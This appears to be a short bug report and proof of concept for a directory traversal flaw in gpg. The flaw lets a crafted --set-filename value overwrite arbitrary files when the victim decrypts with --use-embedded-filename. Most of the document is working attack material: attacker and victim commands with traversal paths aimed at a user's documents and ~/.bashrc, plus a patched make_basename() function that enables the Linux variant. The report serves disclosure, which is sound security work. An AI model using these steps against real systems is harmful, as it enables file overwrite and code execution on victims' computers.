Directory traversal bug

gpg allows for arbitrary file overwrite anywhere within a file system if a victim decrypts a file using --use-embedded-filename option
This could be exploited to allow for malicious code execution on a victims computer by replacing files such as .bashrc

PoC

Attacker:

$ gpg -er xxxxxxxx --set-filename "..\..\..\..\..\..\Users\AchmeUser\Documents\cv.docx" -o Attachment.gpg ./evilCV.docx

Victim:

C:\Users\AchmeUser\Downloads> gpg --use-embedded-filename Attachment.gpg

The same can be done against a Linux target however gpg by patching util/fileutil.c:make_basename() and not perform strrchr for a directory separators and thus allow / in the file name.

char *
make_basename(const char *filepath, const char *inputpath)
{
	return xstrdup(filepath);
}

Attacker:

$ gpg -er xxxxxxxx --set-filename "../../../../../../home/achmeUser/.bashrc" -o Attachment.gpg ./evilbashrc

Victim:

$ gpg --use-embedded-filename Attachment.gpg